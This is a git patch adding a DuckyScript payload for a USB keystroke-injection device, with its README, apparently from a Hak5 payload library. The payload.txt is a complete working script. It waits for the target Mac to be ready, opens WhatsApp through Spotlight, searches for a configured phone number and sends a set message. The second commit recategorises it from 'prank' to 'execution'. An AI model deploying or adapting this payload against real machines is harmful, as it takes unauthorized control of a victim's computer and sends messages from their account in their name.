From 97be872ded5f3cbc24314cfed95a7133af6560bb Mon Sep 17 00:00:00 2001 From: bst04 Date: Mon, 11 Nov 2024 08:33:17 +0100 Subject: [PATCH 1/2] adding Send-WhatsApp-Messages-MacOS --- .../Send-WhatsApp-Messages-MacOS/README.md | 30 ++++++++ .../Send-WhatsApp-Messages-MacOS/payload.txt | 69 +++++++++++++++++++ 2 files changed, 99 insertions(+) create mode 100644 payloads/library/prank/Send-WhatsApp-Messages-MacOS/README.md create mode 100644 payloads/library/prank/Send-WhatsApp-Messages-MacOS/payload.txt diff --git a/payloads/library/prank/Send-WhatsApp-Messages-MacOS/README.md b/payloads/library/prank/Send-WhatsApp-Messages-MacOS/README.md new file mode 100644 index 0000000..990e735 --- /dev/null +++ b/payloads/library/prank/Send-WhatsApp-Messages-MacOS/README.md @@ -0,0 +1,30 @@ +# Send WhatsApp Messages - MacOS + +This script is written in **DuckyScript 3.0** and enables automatic sending of a message via **WhatsApp** on an **MacOS** device. The script waits until the system is ready (using **Caps Lock** detection as an indicator), then launches WhatsApp, types a predefined message, and sends it. + +### Details + +- **Title**: Send WhatsApp Messages - MacOS +- **Author**: bst04 - Aleff +- **Version**: 1.0 +- **Category**: Prank +- **Target**: MacOS devices + +### Dependencies + +- Enter the phone number to which you want to send the message via Whatsapp + + `DEFINE #PHONE-NUMBER example` + +- Set the text message that you want to send + + `DEFINE #TEXT-MESSAGE example` + +### How It Works + +1. Sets a user-defined text message (`#TEXT-MESSAGE`) to be sent via WhatsApp to the number defined too (`#PHONE-NUMBER`). +2. Uses an extension (`EXTENSION DETECT_READY`) to detect when the device is ready with just a littebit more delay... +3. After readiness is confirmed, the script: + - Runs commands to open **WhatsApp**. + - Types the specified phone number to open the chat + - Types the message and sends it. diff --git a/payloads/library/prank/Send-WhatsApp-Messages-MacOS/payload.txt b/payloads/library/prank/Send-WhatsApp-Messages-MacOS/payload.txt new file mode 100644 index 0000000..c90056e --- /dev/null +++ b/payloads/library/prank/Send-WhatsApp-Messages-MacOS/payload.txt @@ -0,0 +1,69 @@ +REM_BLOCK +################################################# +# # +# Title : Send WhatsApp Messages - MacOS # +# Author : bst04 - Aleff # +# Version : 1.0 # +# Category : Prank # +# Target : MacOS # +# # +################################################# +END_REM + + +REM Enter the phone number to which you want to send the message via Whatsapp +DEFINE #PHONE-NUMBER example + +REM Write the message you wish to send +DEFINE #TEXT-MESSAGE example + +EXTENSION DETECT_READY + REM VERSION 1.1 + REM AUTHOR: Korben + + REM_BLOCK DOCUMENTATION + USAGE: + Extension runs inline (here) + Place at beginning of payload (besides ATTACKMODE) to act as dynamic + boot delay + + TARGETS: + Any system that reflects CAPSLOCK will detect minimum required delay + Any system that does not reflect CAPSLOCK will hit the max delay of 3000ms + END_REM + + REM CONFIGURATION: + DEFINE #RESPONSE_DELAY 25 + DEFINE #ITERATION_LIMIT 120 + + VAR $C = 0 + WHILE (($_CAPSLOCK_ON == FALSE) && ($C < #ITERATION_LIMIT)) + CAPSLOCK + DELAY #RESPONSE_DELAY + $C = ($C + 1) + END_WHILE + CAPSLOCK +END_EXTENSION + +REM Another pinch of delay in accordance with https://shop.hak5.org/blogs/usb-rubber-ducky/detect-ready +DELAY 200 + +GUI h +DELAY 150 +GUI SPACE +DELAY 150 +BACKSPACE +DELAY 500 +STRINGLN WhatsApp +DELAY 1500 +GUI f +DELAY 500 +STRINGLN #PHONE-NUMBER +DELAY 250 +DOWNARROW +DELAY 250 +DOWNARROW +DELAY 250 +SPACE +DELAY 250 +STRINGLN #TEXT-MESSAGE From 2bb287855408a24323e5a2beb6dabf1a48c918ed Mon Sep 17 00:00:00 2001 From: bst04 Date: Tue, 12 Nov 2024 19:21:13 +0100 Subject: [PATCH 2/2] move payload to execution folder --- .../{prank => execution}/Send-WhatsApp-Messages-MacOS/README.md | 0 .../{prank => execution}/Send-WhatsApp-Messages-MacOS/payload.txt | 0 2 files changed, 0 insertions(+), 0 deletions(-) rename payloads/library/{prank => execution}/Send-WhatsApp-Messages-MacOS/README.md (100%) rename payloads/library/{prank => execution}/Send-WhatsApp-Messages-MacOS/payload.txt (100%) diff --git a/payloads/library/prank/Send-WhatsApp-Messages-MacOS/README.md b/payloads/library/execution/Send-WhatsApp-Messages-MacOS/README.md similarity index 100% rename from payloads/library/prank/Send-WhatsApp-Messages-MacOS/README.md rename to payloads/library/execution/Send-WhatsApp-Messages-MacOS/README.md diff --git a/payloads/library/prank/Send-WhatsApp-Messages-MacOS/payload.txt b/payloads/library/execution/Send-WhatsApp-Messages-MacOS/payload.txt similarity index 100% rename from payloads/library/prank/Send-WhatsApp-Messages-MacOS/payload.txt rename to payloads/library/execution/Send-WhatsApp-Messages-MacOS/payload.txt